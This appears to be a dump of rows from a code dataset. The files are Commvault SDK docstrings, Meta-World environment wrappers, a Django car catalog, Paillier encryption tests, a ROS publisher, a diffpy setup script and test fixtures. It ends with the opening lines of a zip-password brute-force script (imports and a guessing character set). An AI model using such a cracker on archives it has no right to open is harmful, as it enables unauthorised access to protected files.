with the input name. Args: inventory_name (str) -- name of the inventory Returns: bool - boolean output to specify whether the inventory exists in the commcell or not Raises: SDKException: if type of the inventory name argument is not string Returns a Inventory object for the given inventory name. Args: inventory_name (str) -- name of the inventory Returns: obj -- Object of Inventory class Raises: SDKException: if inventory doesn't exists in commcell if inventory_name is not of type string Class for performing operations on a single inventory Initialize an object of the Inventory class. Args: commcell_object (object) -- instance of the commcell class inventory_name (str) -- name of the Inventory inventory_id (str) -- id of Inventory default: None Returns: object - instance of the Inventory class Helper function to raise an exception when reponse status is not 200 (OK). Args: response (object) -- response class object, received upon running an API request, using the `requests` python package Get inventory properties from the commcell Args: None Returns: dict -- Properties of inventory Refresh the inventory details for associated object Returns the Assets class instance for this inventory Args: None Returns: object -- Instance of Assets class Starts collection job on this inventory Args: None Return: None Raises: SDKException: if failed to start collection job Shares inventory with given user or user group in commcell Args: user_or_group_name (str) -- Name of user or group is_user (bool) -- Denotes whether this is user or group name default : True(User) allow_edit_permission (bool) -- whether to give edit permission or not to user or group ops_type (int) -- Operation type Default : 1 (Add) Supported : 1 (Add) 3 (Delete) Returns: None Raises: SDKException: if unable to update security associations if response is empty or not success # get security blob for this data source type entity - 132 # Associate existing associations to the request # update association list by refreshing inventory returns the data source and handler object associated with this inventory Args: None Returns: obj,obj -- Instance of DataSource object,Instance of Handler object Raises: SDKException: if failed to get datasource or handler details Returns the schedule class object of schedule associated to this inventory Args: None Returns: object -- Instance of Schedule class Raises: SDKException: if failed to find schedule Executes handler for fetching data from inventory Args: handler_filter (str) -- Filter which needs to applied for handler execution Returns: dict -- Dictionary of values fetched from handler execution Raises: SDKExpception: if error in fetching handler data if input is not valid Returns the properties of this inventory as dict Returns the index server name associated with this inventory Returns the index server id associated with this inventory Returns the inventory id associated with this inventory Returns the inventory name associated with this inventory Returns the security blob associated with this inventory Returns the schedule class object for schedule associated with this inventory Returns the DataSource class object for datasource associated with this inventory Returns the Handler class object for default handler associated with this inventory Class to represent all assets in an inventory Initialize an object of the Assets class. Args: commcell_object (object) -- instance of the commcell class inventory_name (str) -- name of the Inventory inventory_id (str) -- id of Inventory default: None Returns: object - instance of the Assets class gets the assets properties from inventory Args: None Returns: dict -- containing asset properties Refresh the assets details associated with this inventory Helper function to raise an exception when reponse status is not 200 (OK). Args: response (object) -- response class object, received upon running an API request, using the `requests` python package Checks whether given asset exists in inventory or not Args: asset_name (str) -- Name of the asset Returns: bool -- true if asset exists else false Returns the asset object Args: asset_name (str) -- Name of the asset Returns: object -- Instance of Asset class Raises: SDKException: if input is not valid if asset doesn't exists in inventory Adds asset to the inventory Args: asset_name (str) -- Name of the asset asset_type (Enum) -- type of asset (Refer to InventoryConstants.AssetType class) kwargs for FILE SERVER type Asset: fqdn -- File server FQDN os -- File Server OS type ip -- File server IP country_code -- Country code (ISO 3166 2-letter code) country_name -- Country name domain -- File Server Domain name(optional) Returns: object -- Instance of Asset class Raises: SDKException: if input is not valid if failed to add asset to inventory # if domain is not passed, then form domain from fqdn # always use asset name as file server name Delete the asset from the inventory Args: asset_name (str) -- Name of the asset Returns: None Raises: SDKException: if input is not valid if failed to delete the asset if unable to find this asset in inventory # for file server asset, asset name will not be display name in backend delete request. so fetch fqdn Returns the assets details associated with this inventory Class to represent single asset in an inventory Initialize an object of the Asset class. Args: commcell_object (object) -- instance of the commcell class inventory_name (str) -- name of the Inventory asset_name (str) -- Name of the asset inventory_id (str) -- id of Inventory default: None Returns: object - instance of the Asset class Returns the properties of this asset Args: None Returns: dict -- Containing properties of asset # for file server, we will not have asset id & crawl times Refresh the asset details associated with this Returns the job history details of this asset Args: None Returns: list(dict) -- containing job history details Raises: SDKException: if failed to get job history if asset is not supported for this operation Returns the job status details of this asset Args: None Returns: dict -- containing job status details Raises: SDKException: if failed to get job status if asset is not supported for this operation Starts collection job on this asset Args: wait_for_job (bool) -- specifies whether to wait for job to complete or not wait_time (int) -- time interval to wait for job completion in Mins Default : 60Mins Return: None Raises: SDKException: if failed to start collection job if asset is not supported for this operation returns the property value for given property name for this asset Args: prop_name (str) -- Name of the property Returns: str -- Value of the property Returns the asset id with this asset Returns the asset name with this asset Returns the crawl start time with this asset Returns the asset type for this asset Returns the asset status for this asset Returns the property values for this asset Returns the inventory id for this asset | 1.622338 | 2 |
src/metarl/envs/ml_wrapper.py | icml2020submission6857/metarl | 2 | 6623568 | from metaworld.benchmarks import ML1, ML10, ML45
class ML1WithPinnedGoal(ML1):
"""A wrapper of ML1 environment that retains goals across pickling and unpickling.
`env = ML1.get_train_tasks('task-name')` gives an environment that internally keeps 50 pre-generated variants of
this task, and `env.sample_task(1)` will return one of these variants. However, these variants cannot survive
pickling. That is, `pickle.loads(pickle.dumps(env))` will give an environment with a new set of variants, which is
not desired when doing vectorized and parallel sampling. This wrapper solves this caveat by saving and restoring
the parameter of a variant, i.e. the goal of the task, explicitly.
See discussion at https://github.com/icml2020submission6857/metaworld/issues/24#issuecomment-576996005
"""
def __getstate__(self):
state = super().__getstate__()
state['goals'] = self._discrete_goals
return state
def __setstate__(self, state):
super().__setstate__(state)
self.discretize_goal_space(state.get('goals', {}))
class ML10WithPinnedGoal(ML10):
"""A wrapper of ML1 environment that retains goals across pickling and unpickling.
`env = ML1.get_train_tasks('task-name')` gives an environment that internally keeps 50 pre-generated variants of
this task, and `env.sample_task(1)` will return one of these variants. However, these variants cannot survive
pickling. That is, `pickle.loads(pickle.dumps(env))` will give an environment with a new set of variants, which is
not desired when doing vectorized and parallel sampling. This wrapper solves this caveat by saving and restoring
the parameter of a variant, i.e. the goal of the task, explicitly.
See discussion at https://github.com/icml2020submission6857/metaworld/issues/24#issuecomment-576996005
"""
def __getstate__(self):
state = super().__getstate__()
state['goals'] = self._discrete_goals
return state
def __setstate__(self, state):
super().__setstate__(state)
self.discretize_goal_space(state.get('goals', {}))
class ML45WithPinnedGoal(ML45):
"""A wrapper of ML1 environment that retains goals across pickling and unpickling.
`env = ML1.get_train_tasks('task-name')` gives an environment that internally keeps 50 pre-generated variants of
this task, and `env.sample_task(1)` will return one of these variants. However, these variants cannot survive
pickling. That is, `pickle.loads(pickle.dumps(env))` will give an environment with a new set of variants, which is
not desired when doing vectorized and parallel sampling. This wrapper solves this caveat by saving and restoring
the parameter of a variant, i.e. the goal of the task, explicitly.
See discussion at https://github.com/icml2020submission6857/metaworld/issues/24#issuecomment-576996005
"""
def __getstate__(self):
state = super().__getstate__()
state['goals'] = self._discrete_goals
return state
def __setstate__(self, state):
super().__setstate__(state)
self.discretize_goal_space(state.get('goals', {}))
| from metaworld.benchmarks import ML1, ML10, ML45
class ML1WithPinnedGoal(ML1):
"""A wrapper of ML1 environment that retains goals across pickling and unpickling.
`env = ML1.get_train_tasks('task-name')` gives an environment that internally keeps 50 pre-generated variants of
this task, and `env.sample_task(1)` will return one of these variants. However, these variants cannot survive
pickling. That is, `pickle.loads(pickle.dumps(env))` will give an environment with a new set of variants, which is
not desired when doing vectorized and parallel sampling. This wrapper solves this caveat by saving and restoring
the parameter of a variant, i.e. the goal of the task, explicitly.
See discussion at https://github.com/icml2020submission6857/metaworld/issues/24#issuecomment-576996005
"""
def __getstate__(self):
state = super().__getstate__()
state['goals'] = self._discrete_goals
return state
def __setstate__(self, state):
super().__setstate__(state)
self.discretize_goal_space(state.get('goals', {}))
class ML10WithPinnedGoal(ML10):
"""A wrapper of ML1 environment that retains goals across pickling and unpickling.
`env = ML1.get_train_tasks('task-name')` gives an environment that internally keeps 50 pre-generated variants of
this task, and `env.sample_task(1)` will return one of these variants. However, these variants cannot survive
pickling. That is, `pickle.loads(pickle.dumps(env))` will give an environment with a new set of variants, which is
not desired when doing vectorized and parallel sampling. This wrapper solves this caveat by saving and restoring
the parameter of a variant, i.e. the goal of the task, explicitly.
See discussion at https://github.com/icml2020submission6857/metaworld/issues/24#issuecomment-576996005
"""
def __getstate__(self):
state = super().__getstate__()
state['goals'] = self._discrete_goals
return state
def __setstate__(self, state):
super().__setstate__(state)
self.discretize_goal_space(state.get('goals', {}))
class ML45WithPinnedGoal(ML45):
"""A wrapper of ML1 environment that retains goals across pickling and unpickling.
`env = ML1.get_train_tasks('task-name')` gives an environment that internally keeps 50 pre-generated variants of
this task, and `env.sample_task(1)` will return one of these variants. However, these variants cannot survive
pickling. That is, `pickle.loads(pickle.dumps(env))` will give an environment with a new set of variants, which is
not desired when doing vectorized and parallel sampling. This wrapper solves this caveat by saving and restoring
the parameter of a variant, i.e. the goal of the task, explicitly.
See discussion at https://github.com/icml2020submission6857/metaworld/issues/24#issuecomment-576996005
"""
def __getstate__(self):
state = super().__getstate__()
state['goals'] = self._discrete_goals
return state
def __setstate__(self, state):
super().__setstate__(state)
self.discretize_goal_space(state.get('goals', {}))
| en | 0.879184 | A wrapper of ML1 environment that retains goals across pickling and unpickling. `env = ML1.get_train_tasks('task-name')` gives an environment that internally keeps 50 pre-generated variants of this task, and `env.sample_task(1)` will return one of these variants. However, these variants cannot survive pickling. That is, `pickle.loads(pickle.dumps(env))` will give an environment with a new set of variants, which is not desired when doing vectorized and parallel sampling. This wrapper solves this caveat by saving and restoring the parameter of a variant, i.e. the goal of the task, explicitly. See discussion at https://github.com/icml2020submission6857/metaworld/issues/24#issuecomment-576996005 A wrapper of ML1 environment that retains goals across pickling and unpickling. `env = ML1.get_train_tasks('task-name')` gives an environment that internally keeps 50 pre-generated variants of this task, and `env.sample_task(1)` will return one of these variants. However, these variants cannot survive pickling. That is, `pickle.loads(pickle.dumps(env))` will give an environment with a new set of variants, which is not desired when doing vectorized and parallel sampling. This wrapper solves this caveat by saving and restoring the parameter of a variant, i.e. the goal of the task, explicitly. See discussion at https://github.com/icml2020submission6857/metaworld/issues/24#issuecomment-576996005 A wrapper of ML1 environment that retains goals across pickling and unpickling. `env = ML1.get_train_tasks('task-name')` gives an environment that internally keeps 50 pre-generated variants of this task, and `env.sample_task(1)` will return one of these variants. However, these variants cannot survive pickling. That is, `pickle.loads(pickle.dumps(env))` will give an environment with a new set of variants, which is not desired when doing vectorized and parallel sampling. This wrapper solves this caveat by saving and restoring the parameter of a variant, i.e. the goal of the task, explicitly. See discussion at https://github.com/icml2020submission6857/metaworld/issues/24#issuecomment-576996005 | 2.379863 | 2 |
catalog/views.py | matteostori/FerrariCatalog | 0 | 6623569 | <reponame>matteostori/FerrariCatalog
from os import listdir
from os.path import join
from django.shortcuts import render
from django.views import generic
from FerrariCatalog.settings import BASE_DIR, STATIC_URL
from .models import Car, Pilot
# Create your views here.
def index(request):
"""View function for home page of site."""
# Generate counts of some of the main objects
num_cars = Car.objects.all().count()
num_pilots = Pilot.objects.all().count()
num_cars_y= Car.objects.filter(color__exact='yl').count()
num_cars_r= Car.objects.filter(color__exact='rd').count()
num_cars_b= Car.objects.filter(color__exact='bk').count()
num_cars_bl= Car.objects.filter(color__exact='bl').count()
context = {
'num_cars': num_cars,
'num_pilots': num_pilots,
'num_cars_y': num_cars_y,
'num_cars_r': num_cars_r,
'num_cars_b': num_cars_b,
'num_cars_bl': num_cars_bl,
}
# Render the HTML template index.html with the data in the context variable
return render(request, 'index.html', context=context)
#about page
def about(request):
return render(request, 'about.html')
#simple view for listing all cars (paginated)
class CarsListView(generic.ListView):
paginate_by = 8
model = Car
#detailed view of each car
class CarsDetailView(generic.DetailView):
model = Car
def get_context_data(self, **kwargs):
context = super(CarsDetailView, self).get_context_data(**kwargs)
images_list = []
carimage_set = context['object'].carimage_set.all()
if len(carimage_set) > 0:
imagepath = carimage_set[0].path
imagepath_dir = join(BASE_DIR, 'catalog/') + STATIC_URL + '/img/' + imagepath
for f in listdir(imagepath_dir):
images_list.append('img/' + imagepath + '/' + f)
context['image_list'] = images_list
return context
#simple view for listing all pilots (paginated)
class PilotListView(generic.ListView):
paginate_by = 8
model = Pilot
#detailed view of each pilot
class PilotsDetailView(generic.DetailView):
model = Pilot | from os import listdir
from os.path import join
from django.shortcuts import render
from django.views import generic
from FerrariCatalog.settings import BASE_DIR, STATIC_URL
from .models import Car, Pilot
# Create your views here.
def index(request):
"""View function for home page of site."""
# Generate counts of some of the main objects
num_cars = Car.objects.all().count()
num_pilots = Pilot.objects.all().count()
num_cars_y= Car.objects.filter(color__exact='yl').count()
num_cars_r= Car.objects.filter(color__exact='rd').count()
num_cars_b= Car.objects.filter(color__exact='bk').count()
num_cars_bl= Car.objects.filter(color__exact='bl').count()
context = {
'num_cars': num_cars,
'num_pilots': num_pilots,
'num_cars_y': num_cars_y,
'num_cars_r': num_cars_r,
'num_cars_b': num_cars_b,
'num_cars_bl': num_cars_bl,
}
# Render the HTML template index.html with the data in the context variable
return render(request, 'index.html', context=context)
#about page
def about(request):
return render(request, 'about.html')
#simple view for listing all cars (paginated)
class CarsListView(generic.ListView):
paginate_by = 8
model = Car
#detailed view of each car
class CarsDetailView(generic.DetailView):
model = Car
def get_context_data(self, **kwargs):
context = super(CarsDetailView, self).get_context_data(**kwargs)
images_list = []
carimage_set = context['object'].carimage_set.all()
if len(carimage_set) > 0:
imagepath = carimage_set[0].path
imagepath_dir = join(BASE_DIR, 'catalog/') + STATIC_URL + '/img/' + imagepath
for f in listdir(imagepath_dir):
images_list.append('img/' + imagepath + '/' + f)
context['image_list'] = images_list
return context
#simple view for listing all pilots (paginated)
class PilotListView(generic.ListView):
paginate_by = 8
model = Pilot
#detailed view of each pilot
class PilotsDetailView(generic.DetailView):
model = Pilot | en | 0.853968 | # Create your views here. View function for home page of site. # Generate counts of some of the main objects # Render the HTML template index.html with the data in the context variable #about page #simple view for listing all cars (paginated) #detailed view of each car #simple view for listing all pilots (paginated) #detailed view of each pilot | 2.4016 | 2 |
app/src/main/python/test.py | zhongens/AcousticSensing | 0 | 6623570 | import math
import random
import numpy
def get_random():
return random.randint(1, 100)
def get_sqrt(x):
return math.sqrt(x)
def calculator(x,y,ope):
print("enter python")
if ope == "+":
return x + y
elif ope == "-":
return x - y
elif ope == "*":
return x * y
elif ope == "/":
return x / y | import math
import random
import numpy
def get_random():
return random.randint(1, 100)
def get_sqrt(x):
return math.sqrt(x)
def calculator(x,y,ope):
print("enter python")
if ope == "+":
return x + y
elif ope == "-":
return x - y
elif ope == "*":
return x * y
elif ope == "/":
return x / y | none | 1 | 3.614145 | 4 | |
code/data_owner_2/tests/test_paillier.py | ClarkYan/msc-thesis | 7 | 6623571 | import random
from nose.tools import assert_raises
import paillier
def test_invmod():
assert_raises(ValueError, paillier.invmod, 0, 7)
assert paillier.invmod(1, 7) == 1
p = 101
for i in range(1, p):
iinv = paillier.invmod(i, p)
assert (iinv * i) % p == 1
def test_keys_int():
priv = paillier.PrivateKey(7, 11, 77)
assert priv.l == 60
assert priv.m == 9
pub = paillier.PublicKey(77)
assert pub.g == 78
def test_keys_long():
priv, pub = paillier.generate_keypair(256)
for i in range(5):
assert paillier.invmod(priv.m, pub.n) == priv.l
def test_encrypt_non_repeatable():
pub = paillier.PublicKey(15484279*32451217)
for i in range(10):
pt = random.randint(0, 1000000)
assert paillier.encrypt(pub, pt) != paillier.encrypt(pub, pt)
def test_decrypt():
for i in range(5):
priv, pub = paillier.generate_keypair(64)
for j in range(5):
pt = long(random.randint(0, 1000000))
ct = paillier.encrypt(pub, pt)
assert pt == paillier.decrypt(priv, pub, ct)
def test_e_add():
for i in range(5):
priv, pub = paillier.generate_keypair(128)
for j in range(5):
a = long(random.randint(0, 1000000))
b = long(random.randint(0, 1000000))
ca, cb = paillier.encrypt(pub, a), paillier.encrypt(pub, b)
cs = paillier.e_add(pub, ca, cb)
s = paillier.decrypt(priv, pub, cs)
assert a + b == s
def test_e_add_const():
for i in range(5):
priv, pub = paillier.generate_keypair(128)
for j in range(5):
a = long(random.randint(0, 1000000))
c = paillier.encrypt(pub, a)
for n in range(0, 11):
cs = paillier.e_add_const(pub, c, n)
s = paillier.decrypt(priv, pub, cs)
assert a + n == s
def test_e_mul_const():
for i in range(5):
priv, pub = paillier.generate_keypair(128)
for j in range(5):
a = long(random.randint(0, 1000000))
c = paillier.encrypt(pub, a)
for n in range(0, 11):
cs = paillier.e_mul_const(pub, c, n)
s = paillier.decrypt(priv, pub, cs)
assert a * n == s
| import random
from nose.tools import assert_raises
import paillier
def test_invmod():
assert_raises(ValueError, paillier.invmod, 0, 7)
assert paillier.invmod(1, 7) == 1
p = 101
for i in range(1, p):
iinv = paillier.invmod(i, p)
assert (iinv * i) % p == 1
def test_keys_int():
priv = paillier.PrivateKey(7, 11, 77)
assert priv.l == 60
assert priv.m == 9
pub = paillier.PublicKey(77)
assert pub.g == 78
def test_keys_long():
priv, pub = paillier.generate_keypair(256)
for i in range(5):
assert paillier.invmod(priv.m, pub.n) == priv.l
def test_encrypt_non_repeatable():
pub = paillier.PublicKey(15484279*32451217)
for i in range(10):
pt = random.randint(0, 1000000)
assert paillier.encrypt(pub, pt) != paillier.encrypt(pub, pt)
def test_decrypt():
for i in range(5):
priv, pub = paillier.generate_keypair(64)
for j in range(5):
pt = long(random.randint(0, 1000000))
ct = paillier.encrypt(pub, pt)
assert pt == paillier.decrypt(priv, pub, ct)
def test_e_add():
for i in range(5):
priv, pub = paillier.generate_keypair(128)
for j in range(5):
a = long(random.randint(0, 1000000))
b = long(random.randint(0, 1000000))
ca, cb = paillier.encrypt(pub, a), paillier.encrypt(pub, b)
cs = paillier.e_add(pub, ca, cb)
s = paillier.decrypt(priv, pub, cs)
assert a + b == s
def test_e_add_const():
for i in range(5):
priv, pub = paillier.generate_keypair(128)
for j in range(5):
a = long(random.randint(0, 1000000))
c = paillier.encrypt(pub, a)
for n in range(0, 11):
cs = paillier.e_add_const(pub, c, n)
s = paillier.decrypt(priv, pub, cs)
assert a + n == s
def test_e_mul_const():
for i in range(5):
priv, pub = paillier.generate_keypair(128)
for j in range(5):
a = long(random.randint(0, 1000000))
c = paillier.encrypt(pub, a)
for n in range(0, 11):
cs = paillier.e_mul_const(pub, c, n)
s = paillier.decrypt(priv, pub, cs)
assert a * n == s
| none | 1 | 2.242623 | 2 | |
catkin_ws/src/beginner_tutorials/scripts/message.py | NevzatBOL/ROS-Beginner | 2 | 6623572 | <filename>catkin_ws/src/beginner_tutorials/scripts/message.py
#!/usr/bin/env python
import rospy
from beginner_tutorials.msg import Num
def talker():
rospy.init_node('message_talker',anonymous=True)
pub = rospy.Publisher('talker',Num)
r = rospy.Rate(10)
msg = Num()
msg.num = 4
while not rospy.is_shutdown():
rospy.loginfo(msg)
pub.publish(msg)
r.sleep()
if __name__ == '__main__':
try:
talker()
except rospy.ROSInterruptException: pass
| <filename>catkin_ws/src/beginner_tutorials/scripts/message.py
#!/usr/bin/env python
import rospy
from beginner_tutorials.msg import Num
def talker():
rospy.init_node('message_talker',anonymous=True)
pub = rospy.Publisher('talker',Num)
r = rospy.Rate(10)
msg = Num()
msg.num = 4
while not rospy.is_shutdown():
rospy.loginfo(msg)
pub.publish(msg)
r.sleep()
if __name__ == '__main__':
try:
talker()
except rospy.ROSInterruptException: pass
| ru | 0.26433 | #!/usr/bin/env python | 2.462111 | 2 |
setup.py | pavoljuhas/diffpy.Structure | 19 | 6623573 | <filename>setup.py
#!/usr/bin/env python
"""Objects for storage and manipulation of crystal structure data.
Packages: diffpy.structure
"""
import os
import re
import sys
from setuptools import setup, find_packages
# Use this version when git data are not available, like in git zip archive.
# Update when tagging a new release.
FALLBACK_VERSION = '3.0.1.post0'
# determine if we run with Python 3.
PY3 = (sys.version_info[0] == 3)
# versioncfgfile holds version data for git commit hash and date.
# It must reside in the same directory as version.py.
MYDIR = os.path.dirname(os.path.abspath(__file__))
versioncfgfile = os.path.join(MYDIR, 'src/diffpy/structure/version.cfg')
gitarchivecfgfile = os.path.join(MYDIR, '.gitarchive.cfg')
def gitinfo():
from subprocess import Popen, PIPE
kw = dict(stdout=PIPE, cwd=MYDIR, universal_newlines=True)
proc = Popen(['git', 'describe', '--match=v[[:digit:]]*'], **kw)
desc = proc.stdout.read()
proc = Popen(['git', 'log', '-1', '--format=%H %ct %ci'], **kw)
glog = proc.stdout.read()
rv = {}
rv['version'] = '.post'.join(desc.strip().split('-')[:2]).lstrip('v')
rv['commit'], rv['timestamp'], rv['date'] = glog.strip().split(None, 2)
return rv
def getversioncfg():
if PY3:
from configparser import RawConfigParser
else:
from ConfigParser import RawConfigParser
vd0 = dict(version=FALLBACK_VERSION, commit='', date='', timestamp=0)
# first fetch data from gitarchivecfgfile, ignore if it is unexpanded
g = vd0.copy()
cp0 = RawConfigParser(vd0)
cp0.read(gitarchivecfgfile)
if len(cp0.get('DEFAULT', 'commit')) > 20:
g = cp0.defaults()
mx = re.search(r'\btag: v(\d[^,]*)', g.pop('refnames'))
if mx:
g['version'] = mx.group(1)
# then try to obtain version data from git.
gitdir = os.path.join(MYDIR, '.git')
if os.path.exists(gitdir) or 'GIT_DIR' in os.environ:
try:
g = gitinfo()
except OSError:
pass
# finally, check and update the active version file
cp = RawConfigParser()
cp.read(versioncfgfile)
d = cp.defaults()
rewrite = not d or (g['commit'] and (
g['version'] != d.get('version') or g['commit'] != d.get('commit')))
if rewrite:
cp.set('DEFAULT', 'version', g['version'])
cp.set('DEFAULT', 'commit', g['commit'])
cp.set('DEFAULT', 'date', g['date'])
cp.set('DEFAULT', 'timestamp', g['timestamp'])
with open(versioncfgfile, 'w') as fp:
cp.write(fp)
return cp
versiondata = getversioncfg()
with open(os.path.join(MYDIR, 'README.rst')) as fp:
long_description = fp.read()
# define distribution
setup_args = dict(
name = "diffpy.structure",
version = versiondata.get('DEFAULT', 'version'),
packages = find_packages(os.path.join(MYDIR, 'src')),
py_modules = ['diffpy.Structure'],
package_dir = {'' : 'src'},
test_suite = 'diffpy.structure.tests',
include_package_data = True,
zip_safe = False,
install_requires = [
'six',
'pycifrw>=4.2',
],
author = '<NAME>',
author_email = '<EMAIL>',
maintainer = '<NAME>',
maintainer_email = '<EMAIL>',
url = 'https://github.com/diffpy/diffpy.structure',
description = "Crystal structure container "
"and parsers for structure formats.",
long_description = long_description,
long_description_content_type = 'text/x-rst',
license = 'BSD-style license',
keywords = "crystal structure data storage CIF PDB",
classifiers = [
# List of possible values at
# http://pypi.python.org/pypi?:action=list_classifiers
'Development Status :: 5 - Production/Stable',
'Environment :: Console',
'Intended Audience :: Science/Research',
'License :: OSI Approved :: BSD License',
'Operating System :: MacOS :: MacOS X',
'Operating System :: Microsoft :: Windows',
'Operating System :: POSIX',
'Operating System :: Unix',
'Programming Language :: Python :: 2.7',
'Programming Language :: Python :: 3.5',
'Programming Language :: Python :: 3.6',
'Programming Language :: Python :: 3.7',
'Topic :: Scientific/Engineering :: Chemistry',
'Topic :: Scientific/Engineering :: Physics',
],
)
if __name__ == '__main__':
setup(**setup_args)
| <filename>setup.py
#!/usr/bin/env python
"""Objects for storage and manipulation of crystal structure data.
Packages: diffpy.structure
"""
import os
import re
import sys
from setuptools import setup, find_packages
# Use this version when git data are not available, like in git zip archive.
# Update when tagging a new release.
FALLBACK_VERSION = '3.0.1.post0'
# determine if we run with Python 3.
PY3 = (sys.version_info[0] == 3)
# versioncfgfile holds version data for git commit hash and date.
# It must reside in the same directory as version.py.
MYDIR = os.path.dirname(os.path.abspath(__file__))
versioncfgfile = os.path.join(MYDIR, 'src/diffpy/structure/version.cfg')
gitarchivecfgfile = os.path.join(MYDIR, '.gitarchive.cfg')
def gitinfo():
from subprocess import Popen, PIPE
kw = dict(stdout=PIPE, cwd=MYDIR, universal_newlines=True)
proc = Popen(['git', 'describe', '--match=v[[:digit:]]*'], **kw)
desc = proc.stdout.read()
proc = Popen(['git', 'log', '-1', '--format=%H %ct %ci'], **kw)
glog = proc.stdout.read()
rv = {}
rv['version'] = '.post'.join(desc.strip().split('-')[:2]).lstrip('v')
rv['commit'], rv['timestamp'], rv['date'] = glog.strip().split(None, 2)
return rv
def getversioncfg():
if PY3:
from configparser import RawConfigParser
else:
from ConfigParser import RawConfigParser
vd0 = dict(version=FALLBACK_VERSION, commit='', date='', timestamp=0)
# first fetch data from gitarchivecfgfile, ignore if it is unexpanded
g = vd0.copy()
cp0 = RawConfigParser(vd0)
cp0.read(gitarchivecfgfile)
if len(cp0.get('DEFAULT', 'commit')) > 20:
g = cp0.defaults()
mx = re.search(r'\btag: v(\d[^,]*)', g.pop('refnames'))
if mx:
g['version'] = mx.group(1)
# then try to obtain version data from git.
gitdir = os.path.join(MYDIR, '.git')
if os.path.exists(gitdir) or 'GIT_DIR' in os.environ:
try:
g = gitinfo()
except OSError:
pass
# finally, check and update the active version file
cp = RawConfigParser()
cp.read(versioncfgfile)
d = cp.defaults()
rewrite = not d or (g['commit'] and (
g['version'] != d.get('version') or g['commit'] != d.get('commit')))
if rewrite:
cp.set('DEFAULT', 'version', g['version'])
cp.set('DEFAULT', 'commit', g['commit'])
cp.set('DEFAULT', 'date', g['date'])
cp.set('DEFAULT', 'timestamp', g['timestamp'])
with open(versioncfgfile, 'w') as fp:
cp.write(fp)
return cp
versiondata = getversioncfg()
with open(os.path.join(MYDIR, 'README.rst')) as fp:
long_description = fp.read()
# define distribution
setup_args = dict(
name = "diffpy.structure",
version = versiondata.get('DEFAULT', 'version'),
packages = find_packages(os.path.join(MYDIR, 'src')),
py_modules = ['diffpy.Structure'],
package_dir = {'' : 'src'},
test_suite = 'diffpy.structure.tests',
include_package_data = True,
zip_safe = False,
install_requires = [
'six',
'pycifrw>=4.2',
],
author = '<NAME>',
author_email = '<EMAIL>',
maintainer = '<NAME>',
maintainer_email = '<EMAIL>',
url = 'https://github.com/diffpy/diffpy.structure',
description = "Crystal structure container "
"and parsers for structure formats.",
long_description = long_description,
long_description_content_type = 'text/x-rst',
license = 'BSD-style license',
keywords = "crystal structure data storage CIF PDB",
classifiers = [
# List of possible values at
# http://pypi.python.org/pypi?:action=list_classifiers
'Development Status :: 5 - Production/Stable',
'Environment :: Console',
'Intended Audience :: Science/Research',
'License :: OSI Approved :: BSD License',
'Operating System :: MacOS :: MacOS X',
'Operating System :: Microsoft :: Windows',
'Operating System :: POSIX',
'Operating System :: Unix',
'Programming Language :: Python :: 2.7',
'Programming Language :: Python :: 3.5',
'Programming Language :: Python :: 3.6',
'Programming Language :: Python :: 3.7',
'Topic :: Scientific/Engineering :: Chemistry',
'Topic :: Scientific/Engineering :: Physics',
],
)
if __name__ == '__main__':
setup(**setup_args)
| en | 0.633419 | #!/usr/bin/env python Objects for storage and manipulation of crystal structure data. Packages: diffpy.structure # Use this version when git data are not available, like in git zip archive. # Update when tagging a new release. # determine if we run with Python 3. # versioncfgfile holds version data for git commit hash and date. # It must reside in the same directory as version.py. # first fetch data from gitarchivecfgfile, ignore if it is unexpanded # then try to obtain version data from git. # finally, check and update the active version file # define distribution # List of possible values at # http://pypi.python.org/pypi?:action=list_classifiers | 1.959879 | 2 |
backend/medicar/tests/fixture.py | WesGtoX/medicar | 2 | 6623574 | <reponame>WesGtoX/medicar<filename>backend/medicar/tests/fixture.py
import factory
from faker import Faker
from medicar.models import (
Specialty, Doctor, Agenda, MedicalAppointment
)
fake = Faker(['pt_BR'])
class SpecialtyFactory(factory.django.DjangoModelFactory):
"""Fixture for creating a Specialty"""
class Meta:
model = Specialty
name = factory.Faker('word', ext_word_list=['Cardiologia', 'Pediatria'])
class DoctorFactory(factory.django.DjangoModelFactory):
"""Fixture for creating a Doctor"""
class Meta:
model = Doctor
name = factory.Faker('first_name')
crm = factory.Faker('pyint', min_value=1000, max_value=9999, step=1)
email = factory.Faker('ascii_email')
phone = f'+{fake.msisdn()}'
class AgendaFactory(factory.django.DjangoModelFactory):
"""Fixture for creating an Agenda"""
class Meta:
model = Agenda
day = factory.Faker('date_between', start_date='today', end_date='+1y')
schedule = ['00:00', '08:00', '08:30', '09:00', '09:30', '14:00']
@classmethod
def _create(cls, model_class, *args, **kwargs):
obj = model_class(*args, **kwargs)
obj.doctor = DoctorFactory.create(specialty=SpecialtyFactory.create())
obj.save()
return obj
class MedicalAppointmentFactory(factory.django.DjangoModelFactory):
"""Fixture for creating a Medical Appointment"""
class Meta:
model = MedicalAppointment
hourly = factory.Faker('word', ext_word_list=['08:00', '08:30', '09:00', '09:30', '14:00'])
| import factory
from faker import Faker
from medicar.models import (
Specialty, Doctor, Agenda, MedicalAppointment
)
fake = Faker(['pt_BR'])
class SpecialtyFactory(factory.django.DjangoModelFactory):
"""Fixture for creating a Specialty"""
class Meta:
model = Specialty
name = factory.Faker('word', ext_word_list=['Cardiologia', 'Pediatria'])
class DoctorFactory(factory.django.DjangoModelFactory):
"""Fixture for creating a Doctor"""
class Meta:
model = Doctor
name = factory.Faker('first_name')
crm = factory.Faker('pyint', min_value=1000, max_value=9999, step=1)
email = factory.Faker('ascii_email')
phone = f'+{fake.msisdn()}'
class AgendaFactory(factory.django.DjangoModelFactory):
"""Fixture for creating an Agenda"""
class Meta:
model = Agenda
day = factory.Faker('date_between', start_date='today', end_date='+1y')
schedule = ['00:00', '08:00', '08:30', '09:00', '09:30', '14:00']
@classmethod
def _create(cls, model_class, *args, **kwargs):
obj = model_class(*args, **kwargs)
obj.doctor = DoctorFactory.create(specialty=SpecialtyFactory.create())
obj.save()
return obj
class MedicalAppointmentFactory(factory.django.DjangoModelFactory):
"""Fixture for creating a Medical Appointment"""
class Meta:
model = MedicalAppointment
hourly = factory.Faker('word', ext_word_list=['08:00', '08:30', '09:00', '09:30', '14:00']) | en | 0.898762 | Fixture for creating a Specialty Fixture for creating a Doctor Fixture for creating an Agenda Fixture for creating a Medical Appointment | 2.223432 | 2 |
test_iterator.py | sangeeth98/brute-force-on-zipfiles | 0 | 6623575 | <reponame>sangeeth98/brute-force-on-zipfiles<gh_stars>0
import itertools, zipfile, time
import concurrent.futures
options = 'abcdefghijklmnopqrstuvwxyz0123456789'
